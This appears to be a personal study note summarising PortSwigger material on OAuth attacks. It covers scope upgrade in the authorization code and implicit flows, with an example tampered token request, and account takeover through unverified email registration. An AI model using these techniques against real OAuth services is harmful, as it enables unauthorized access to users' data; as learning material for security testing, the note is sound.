Scope Upgrade: Authorization Code Flow
In the authorization code grant flow, user data is exchanged securely between servers, which attackers usually can’t manipulate. However, an attacker could register a malicious client application with the OAuth service to exploit this process.
For example, the malicious app might initially request access to the user’s email with the openid email
scope. Once the user approves, the app receives an authorization code. The attacker, controlling the app, could then modify the token exchange request to include an additional profile
scope:
POST /token
Host: oauth-authorization-server.com
...
client_id=12345&client_secret=SECRET&redirect_uri=https://client-app.com/callback&grant_type=authorization_code&code=a1b2c3d4e5f6g7h8&scope=openid%20email%20profile
If the server fails to validate the scope against the original request, it might issue a token with the added scope:
{
"access_token": "z0y9x8w7v6u5",
"token_type": "Bearer",
"expires_in": 3600,
"scope": "openid email profile"
}
The attacker can then use this token to access unauthorized profile data via API calls.
Scope Upgrade: Implicit Flow
In the implicit grant flow, the access token is sent through the browser, making it vulnerable to theft by attackers. If an attacker steals a token, they can use it to make requests, such as to the OAuth service’s /userinfo
endpoint, and add new scope parameters to the request.
The OAuth service should validate the scope against what was originally approved when the token was issued. However, if it doesn’t, the attacker can sometimes access additional data as long as the new permissions don’t exceed what the client app is allowed. This bypasses the need for further user approval.
Unverified User Registration
When using OAuth for authentication, client apps assume the OAuth provider’s user data is accurate, which can be risky.
If the OAuth provider lets users register without verifying their details, like an email address, attackers can exploit this. By creating an account with the same email as a target user, they could sign in to client apps as the victim using the fraudulent account.
Related
list
from outgoing([[Port Swigger - Exploiting OAuth Authentication Vulnerabilities]])
sort file.ctime asc